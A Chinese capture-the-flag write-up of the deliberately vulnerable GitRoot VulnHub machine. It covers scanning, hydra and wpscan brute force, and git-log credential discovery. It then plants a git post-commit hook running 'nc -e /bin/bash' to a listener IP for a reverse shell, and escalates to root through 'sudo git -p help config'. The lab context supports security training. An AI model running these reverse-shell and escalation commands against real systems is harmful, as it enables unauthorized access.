实战打靶集锦-35-GitRoot

news2025/4/14 14:10:50

文章目录

  • 1. 主机发现
  • 2. 端口扫描
  • 3. 服务枚举
  • 4. 服务探查
  • 5. 系统提权
  • 6. 写在最后

靶机地址:https://download.vulnhub.com/gitroot/GitRoot.ova


1. 主机发现

目前只知道目标靶机在192.168.56.xx网段,通过如下的命令,看看这个网段上在线的主机。

$ nmap -sP 192.168.56.0/24

在这里插入图片描述
因为56.100和56.108是已知主机,所以锁定靶机地址为192.168.56.103。

2. 端口扫描

通过下面的命令扫描一下靶机的端口。

$ sudo nmap -p- 192.168.56.103

在这里插入图片描述
端口不多。

3. 服务枚举

通过下面的命令枚举一下端口上运行的服务。

$ sudo nmap -p22,80,11211 -A -sT -sV 192.168.56.103

在这里插入图片描述
扫出来的信息也不是很多,直接上手看看再说。

4. 服务探查

先通过浏览器访问一下80端口。
在这里插入图片描述
就是一个简单的页面,不过也是得到了一些信息,人名Jen,可能又是wordpress,还有个域名地址wp.gitroot.vuln。看一下sourcecode。
在这里插入图片描述
没啥奇怪的,直接扫描一下目录。
在这里插入图片描述
扫描出来的内容少的可怜啊,再用dirb挂上big字典扫描一下试试看。

$ dirb http://192.168.56.103 /usr/share/wordlists/dirb/big.txt

在这里插入图片描述
是多了一点,貌似也没啥实质性内容。再看看11211端口上是啥,上网搜了一下,貌似是这Memcached的服务端口。

$ telnet 192.168.56.103 11211

如上图所示,这说明端口未加任何防护,通过version命令看是否可以看到版本信息。
在这里插入图片描述
没啥动静,通过stats命令查看一下常规统计信息。
在这里插入图片描述
仍然没反应,获取一下slab统计信息。
在这里插入图片描述
还是没反应,直接用libmemcached-tools工具看是否可以转储数据出来。先安装一下。

$ sudo apt install libmemcached-tools

然后运行一下。

$ memcstat --servers=192.168.56.103

在这里插入图片描述
竟然超时了,再试一下,仍然超时。到这里了也没啥收获,直接用用户jen看是不是可以爆破一下ssh登录吧。

$ hydra -l jen -P /usr/share/wordlists/rockyou.txt -t 2 -vV -e ns 192.168.56.103 ssh

在这里插入图片描述
可是一直没有爆破成功。感觉没有头绪了,想起前面页面上还有个域名wp.gitroot.vuln没有用到,还有可能的wordpress在这个域名上。将靶机的地址指向这个域名,再枚举一下目录。

$ dirsearch -u http://192.168.56.103

在这里插入图片描述
没有扫出来,挂上big字典试试。

$ dirb http://192.168.56.103 /usr/share/wordlists/dirb/big.txt -X .php 

在这里插入图片描述
没效果,既然说到了wordpress,直接用wpscan试试看。

$ wpscan --url wp.gitroot.vuln

在这里插入图片描述
扫出了一些东西,加上-e u参数,也没有枚举到用户。不过刚才有个jen用户,直接用这个用户爆破一下试试看。

$ wpscan --url wp.gitroot.vuln -U jen -P /usr/share/wordlists/rockyou.txt

无果,既然用域名能够找到wordpress,直接用这个域名枚举一下目录试试看。

$ dirsearch -u http://wp.gitroot.vuln

在这里插入图片描述
确实能够扫出来,进到首页看看,(这里只能用http://wp.gitroot.vuln直接输入域名是不可以的)。
在这里插入图片描述
额,又一个用户beth,这个我们前面用wpscan枚举用户的时候,枚举出来了,不过没有细看。
在这里插入图片描述
那就直接爆破一下这个用户吧。
在这里插入图片描述
仍然无果,hydra爆破一下ssh看看这个用户,也没有爆破出来。看来只能顺着wp的版本和那几个插件入手了。
在这里插入图片描述
貌似上图中的有搞头,试试看。
在这里插入图片描述
这个在我本地试了一下,没有用,还是挂上big字典扫描一下域名下还有没有其它的php页面吧。

$ dirb http://wp.gitroot.vuln /usr/share/wordlists/dirb/big.txt -X .php

在这里插入图片描述
还真多了一个,访问一下看看。
在这里插入图片描述
看一下sourcecode。
在这里插入图片描述
越来越有靶机的尿性了,难道访问的时候加上id=xxx?试试看吧。
在这里插入图片描述
不靠谱,到这里,感觉所有挖出来的线索都使用过了,毫无进展。但是有一点是肯定的,这个靶机有不少隐藏的目录和页面,每次扫描都有新的发现,直接上网搜索一下,这里重点参照了这篇文章(https://blog.csdn.net/cjstang/article/details/125583296),感谢大佬。

我们直接用gobuster看看这个域名下面还有什么隐藏的东西。

$ gobuster dns --delay 2500ms --domain gitroot.vuln -w ~/OSCP/GitRoot/subDomainsBrute-master/dict/subnames.txt

发现了在gitroot.vuln下面还有子域名repo,直接进去看看。
在这里插入图片描述
貌似是代码托管的地方,这里还涉及到了两个页面get.php和set.php。手工访问一下这两个页面看看。
在这里插入图片描述
在这里插入图片描述
看不出啥,直接dirsearch扫描一下这个子域名。

$ dirsearch -u http://repo.gitroot.vuln/

在这里插入图片描述
确实是一个代码托管的地方,内容还真是不少,逐个看一下,以我的认知,只在/.git/logs/refs/heads/master下面发现了貌似还有个用户pablo,其他的说实话,我没看出啥,如下图。
在这里插入图片描述
还是用hydra爆破一下这个用户吧。

$ hydra -l pablo -P /usr/share/wordlists/rockyou.txt -t 2 -vV -e ns 192.168.56.103 ssh

我这里没有爆破出来,后来查看网上的资料,确实是可以爆破出来的,但是非常耗时,我爆破了一夜,也就是跑了三万多个,最终爆破出来的结果如下图(借用大神的图片)。
在这里插入图片描述
登录试一下。
在这里插入图片描述
成功了,拿到pablo用户的flag。
在这里插入图片描述

5. 系统提权

查看系统信息。
在这里插入图片描述
然后运行一下linpeas。
首先有一个highly probale的内核提权漏洞,如下图。
在这里插入图片描述
不过这个漏洞跟我们前面查出来的内核版本不匹配,用不上,另外一个是ptrace保护被禁用了,可能导致sudo的tocken被滥用。
在这里插入图片描述
可惜的是这几个都试了一下,没有提权成功,再回过头看看pablo用户下还有些啥。除了之前看过的之外,.bash_history定位到了null,不会留有信息,还有就是public了,进去看看.
在这里插入图片描述
里面有个message文件,看看内容。
在这里插入图片描述
貌似若有所指,感觉还是跟托管的那一堆代码有关系,并且发现另外两个用户也有这个public目录,如下图。
在这里插入图片描述
总感觉这个目录跟那个repo有关系。直接搜索一下看看有没有.git文件夹吧。

pablo@GitRoot:~/public$ find / -name ".git" 2>/dev/null

在这里插入图片描述
嗯,搜索出来两个,代码应该应该就在这两个地方了,进去看看。
在这里插入图片描述
内容基本上一致,更新时间差了一天,我们先看最新的一个,既/opt/auth/.git/,说实话,之前没有对git做过详细研究,不知道git的目录结构,以及哪些文件是我们应该关注的。这里感谢CSDN上maove大佬的文章给了明确的说明,直接上链接https://blog.csdn.net/start_mao/article/details/94609238。从这文章里,我们了解到主要的提交信息保存在logs下的HEAD文件中,进去看看。
在这里插入图片描述
完全看不明白干了些啥,不过有一行的commit信息,跟其他的不一样,意思是添加了一些用户?
在这里插入图片描述
不过还不知道怎么看具体的提交详情,上网搜了一下,通过git show命令可以查看,具体执行一下。

pablo@GitRoot:/opt/auth/.git/logs$ git show b2ab5f540baab4c299306e16f077d7a6f6556ca3
pablo@GitRoot:/opt/auth/.git/logs$ git show 06fbefc1da56b8d552cfa299924097ba1213dd93

在这里插入图片描述
还真有些内容,感觉这个r3vpdmspqdb就是添加的用户的密码,反正就是三个用户,还剩俩:jen和beth,逐个试试。
在这里插入图片描述
是beth的密码,先看看这个用户的家目录里面有些啥。这次同样的发现了一个public目录,包含一个名为addToMyRepo.txt,进去内容。
在这里插入图片描述
意思是让这个beth用户添加一个zip文件到~jen/public/repos/目录下,jen就会解压并添加到jen用户的repo中。感觉这里貌似可以创建反弹shell。我们直接创建一个shell的反弹shell然后压缩成zip文件放到这个目录下,并建立监听试试看。
包含反弹shell的文件名为my_revers,内容如下。
在这里插入图片描述
赋予777的权限,并用zip命令压缩一下。

beth@GitRoot:~$ chmod 777 my_revers
beth@GitRoot:~$ zip myrevers.zip my_revers

在这里插入图片描述
额。竟然失败了,看看有没有7z之类的应用。
在这里插入图片描述
有7z,那就用7z压缩一下。

beth@GitRoot:~$ 7z a myrevers.zip my_revers

在这里插入图片描述
然后把zip包也赋予777权限吧。

beth@GitRoot:~$ chmod 777 myrevers.zip

在这里插入图片描述
本地建立监听。

$ nc -lvnp 8888

在这里插入图片描述
将zip包放到对应的目录下面。

beth@GitRoot:~$ mv myrevers.zip /home/jen/public/repos/

静静等待,可是我这里一直没有反弹成功。到此为止,没有提权成功,还是回过头去继续看看CSDN上cjstang文章。其实cjstang也是在这里建立反弹shell的,不过没有我这么简单粗暴,仿照cjstang的方法试一下。

beth@GitRoot:~$ mkdir -p .git/hooks
beth@GitRoot:~$ cd .git/hooks/
beth@GitRoot:~/.git/hooks$ echo '#!/bin/bash' > post-commit
beth@GitRoot:~/.git/hooks$ echo '/usr/bin/nc -e /bin/bash 192.168.56.108 8888' >> post-commit

在这里插入图片描述

beth@GitRoot:~$ pwd
beth@GitRoot:~$ chmod 777 .git/hooks/post-commit 
beth@GitRoot:~$ 7z a xshell.zip .git/
beth@GitRoot:~$ ls -lah xshell.zip
beth@GitRoot:~$ chmod 777 xshell.zip
beth@GitRoot:~$ cp xshell.zip /home/jen/public/repos/

在这里插入图片描述
等了不到一分钟,果真反弹shell有了反应,如下图。
在这里插入图片描述
看看能不能用吧。
在这里插入图片描述
确实进入了jen用户下面,用pty优化一下shell。

whereis python
/usr/bin/python3.7 -c "import pty; pty.spawn('/bin/bash')"

在这里插入图片描述
没啥好搞的了,直接jen用户下运行linpeas吧。
首先发现了一个add.sh脚本,貌似是个定时任务。
在这里插入图片描述
除此之外,貌似也没发现什么特别的内容,宣告提权失败,看看cjstang大佬怎么搞的。
cjstang在.viminfo文件中发现了之前的一些命令行历史信息,如下图。
在这里插入图片描述上图中所示的字符串比较可疑,看看是不是jen用户的密码,其它用户的密码都已经拿到了。
在这里插入图片描述
binzpbeocnexoe确实是jen用户的密码,可以直接通过密码进行shell的登录。不过刚才我们在jen目录下也没找到啥呀。既然有密码了,再次sudo -l试试看
在这里插入图片描述
貌似git命令具有sudo权限,可惜我不会用,gtfobins上搜搜一下。
在这里插入图片描述
还真有,试试看。
结果用第二个方式提权貌似成功了,如下图。

jen@GitRoot:~$ sudo git -p help config
!/bin/sh

在这里插入图片描述
验证一下,并获取flag。
在这里插入图片描述
确实提权成功,本次打靶很不顺利,多亏了网友的文章参照。

6. 写在最后

这个靶机虽然没有自己拿下,这是一个小小的遗憾,值得欣慰的是通过网上的walkthrough,学到了不少之前没有接触过的内容,比如通过gid的HEAD文件查看commit的提交详情、通过sudo git提权等。再次感谢CSDN上的cjstang和maove两位大佬。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2327466.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

英语口语 -- 常用 1368 词汇

英语口语 -- 常用 1368 词汇 介绍常用单词List1 (96 个)时间类气候类自然类植物类动物类昆虫类其他生物地点类 List2 (95 个)机构类声音类食品类餐饮类蔬菜类水果类食材类饮料类营养类疾病类房屋类家具类服装类首饰类化妆品类 Lis…

SpringBoot+Vue 中 WebSocket 的使用

WebSocket 是一种在单个 TCP 连接上进行全双工通信的协议,它使得客户端和服务器之间可以进行实时数据传输,打破了传统 HTTP 协议请求 - 响应模式的限制。 下面我会展示在 SpringBoot Vue 中,使用WebSocket进行前后端通信。 后端 1、引入 j…

关于依赖注入框架VContainer DIIOC 的学习记录

文章目录 前言一、VContainer核心概念1.DI(Dependency Injection(依赖注入))2.scope(域,作用域) 二、练习例子1.Hello,World!步骤一,编写一个底类。HelloWorldService步骤二,编写使用低类的类。GamePresenter步骤三&am…

Qt常用控件第一部分

1.控件概述 Widget 是 Qt 中的核⼼概念. 英⽂原义是 "⼩部件", 我们此处也把它翻译为 "控件" . 控件是构成⼀个图形化界⾯的基本要素. 像上述⽰例中的, 按钮, 列表视图, 树形视图, 单⾏输⼊框, 多⾏输⼊框, 滚动条, 下拉框等, 都可以称为 "控件"…

docker存储卷及dockers容器源码部署httpd

1. COW机制 Docker镜像由多个只读层叠加而成,启动容器时,Docker会加载只读镜像层并在镜像栈顶部添加一个读写层。 如果运行中的容器修改了现有的一个已经存在的文件,那么该文件将会从读写层下面的只读层复制到读写层,该文件的只读版本依然存在,只是已经被读写层中该文件…

JMeter接口自动化发包与示例

前言 JMeter接口自动化发包与示例 近期需要完成对于接口的测试,于是了解并简单做了个测试示例,看了看这款江湖上声名远播的强大的软件-Jmeter靠不靠谱。 官网:Apache JMeter - Apache JMeter™ 1简介 Apache-Jmeter是一个使用java语言编写且开源&…

INFINI Console 极限控制台密码忘记了,如何重置?

在使用 INFINI Console(极限控制台)时,可能会遇到忘记密码的情况,这对于管理员来说是一个常见但棘手的问题。 本文将详细介绍如何处理 INFINI Console 密码忘记的情况,并提供两种可能的解决方案,帮助您快速…

汇编学习之《jcc指令》

JCC(Jump on Condition Code)指的是条件跳转指令,c中的就是if-else, while, for 等分支循环条件判断的逻辑。它包括很多指令集,各自都不太一样,接下来我尽量将每一个指令的c 源码和汇编代码结合起来看,加深…

从零构建大语言模型全栈开发指南:第四部分:工程实践与部署-4.3.3低代码开发:快速构建行业应用(电商推荐与金融风控案例)

👉 点击关注不迷路 👉 点击关注不迷路 👉 点击关注不迷路 文章大纲 从零构建大语言模型全栈开发指南-第四部分:工程实践与部署4.3.3 低代码开发:快速构建行业应用(电商推荐与金融风控案例)1. 低代码与AI结合的核心价值2. 电商推荐系统案例2.1 技术架构与实现2.2 性能…

基于vue框架的智能服务旅游管理系统54kd3(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。

系统程序文件列表 项目功能:用户,景点信息,门票预订,酒店客房,客房预订,旅游意向,推荐景点,景点分类 开题报告内容 基于Vue框架的智能服务旅游管理系统开题报告 一、研究背景与意义 1.1 行业现状与挑战 传统系统局限性:当前旅游管理系统普遍存在信息…

用Python实现TCP代理

依旧是Python黑帽子这本书 先附上代码,我在原书代码上加了注释,更好理解 import sys import socket import threading#生成可打印字符映射 HEX_FILTER.join([(len(repr(chr(i)))3) and chr(i) or . for i in range(256)])#接收bytes或string类型的输入…

MySQL的进阶语法7(索引-B+Tree 、Hash、聚集索引 、二级索引(回表查询)、索引的使用及设计原则

目录 一、索引概述 1.1 基本介绍 1.2 基本演示 1.3 特点及优势 二、索引结构 2.1 概述 2.2 二叉树 2.3 B-Tree 2.4 BTree 2.5 Hash 2.5.1 结构 2.5.2 特点 2.5.3 存储引擎支持 三、索引的分类 3.1 索引分类 3.2 聚集索引和二级索引 3.2.1 聚集索引和二级…

【CSS3】04-标准流 + 浮动 + flex布局

本文介绍浮动与flex布局。 目录 1. 标准流 2. 浮动 2.1 基本使用 特点 脱标 2.2 清除浮动 2.2.1 额外标签法 2.2.2 单伪元素法 2.2.3 双伪元素法(推荐) 2.2.4 overflow(最简单) 3. flex布局 3.1 组成 3.2 主轴与侧轴对齐方式 3.2.1 主轴 3.2.2 侧轴 3.3 修改主…

论坛系统的测试

项目背景 论坛系统采用前后端分离的方式来实现,同时使用数据库 来处理相关的数据,同时将其部署到服务器上。前端主要有7个页面组成:登录页,列表页,论坛详情页,编辑页,个人信息页,我…

宠物店小程序怎么做?助力实体店实现营销突破

宠物店小程序怎么做?助力实体店实现营销突破 ——一个宠物店老板的“真香”实战分享 ​一、行业现状:线下宠物店的“流量焦虑”​ 作为开了3年宠物店的“铲屎官供应商”,这两年明显感觉生意难做了:某宝9.9包邮的狗粮、某团“满…

《Mycat核心技术》第21章:高可用负载均衡集群的实现(HAProxy + Keepalived + Mycat)

作者:冰河 星球:http://m6z.cn/6aeFbs 博客:https://binghe.gitcode.host 文章汇总:https://binghe.gitcode.host/md/all/all.html 星球项目地址:https://binghe.gitcode.host/md/zsxq/introduce.html 沉淀&#xff0c…

深度学习Note.5(机器学习.6)

1.Runner类 一个任务应用机器学习方法流程: 数据集构建 模型构建 损失函数定义 优化器 模型训练 模型评价 模型预测 所以根据以上,我们把机器学习模型基本要素封装成一个Runner类(加上模型保存、模型加载等功能。) Runne…

从零开始设计Transformer模型(1/2)——剥离RNN,保留Attention

声明: 本文基于哔站博主【Shusenwang】的视频课程【RNN模型及NLP应用】,结合自身的理解所作,旨在帮助大家了解学习NLP自然语言处理基础知识。配合着视频课程学习效果更佳。 材料来源:【Shusenwang】的视频课程【RNN模型及NLP应用…

【 <二> 丹方改良:Spring 时代的 JavaWeb】之 Spring Boot 中的缓存技术:使用 Redis 提升性能

<前文回顾> 点击此处查看 合集 https://blog.csdn.net/foyodesigner/category_12907601.html?fromshareblogcolumn&sharetypeblogcolumn&sharerId12907601&sharereferPC&sharesourceFoyoDesigner&sharefromfrom_link <今日更新> 一、开篇整…

华为配置篇-BGP实验

BGP 一、简述二、常用命令总结三、实验 一、简述 IBGP 水平分割&#xff1a;从一个 IBGP 对等体学到的路由&#xff0c;不会再通告给其他的 IBGP 对等体。在一个 AS 内部&#xff0c;路由器之间通过 IBGP 交换路由信息。如果没有水平分割机制&#xff0c;当多个路由器之间形成…